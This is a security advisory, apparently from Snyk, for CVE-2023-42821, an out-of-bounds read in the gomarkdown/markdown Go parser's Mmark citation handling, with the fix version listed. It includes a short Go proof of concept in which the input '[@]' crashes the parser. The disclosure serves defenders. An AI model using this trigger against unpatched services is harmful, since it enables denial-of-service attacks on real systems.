Out-of-bounds Read Affecting github.com/gomarkdown/markdown/parser package, versions <0.0.0-20230922105210-14b16010c2ee
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.1% (42nd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMGOMARKDOWNMARKDOWNPARSER-5916451
- published 24 Sep 2023
- disclosed 22 Sep 2023
- credit NSEcho
Introduced: 22 Sep 2023
CVE-2023-42821 Open this link in a new tabHow to fix?
Upgrade github.com/gomarkdown/markdown/parser to version 0.0.0-20230922105210-14b16010c2ee or higher.
Overview
github.com/gomarkdown/markdown/parser is a library for parsing Markdown text and rendering as HTML.
Affected versions of this package are vulnerable to Out-of-bounds Read when the citation.go file is parsing malformed markdown input with the parser.Mmark extension. An attacker can cause a denial of service or panic if the parser has the parser.Mmark extension set.
PoC
package main
import (
"github.com/gomarkdown/markdown"
"github.com/gomarkdown/markdown/parser"
)
func main() {
ext := parser.CommonExtensions |
parser.Attributes |
parser.OrderedListStart |
parser.SuperSubscript |
parser.Mmark
p := parser.NewWithExtensions(ext)
inp := []byte("[@]")
markdown.ToHTML(inp, p, nil)
}
References
CVSS Scores
version 3.1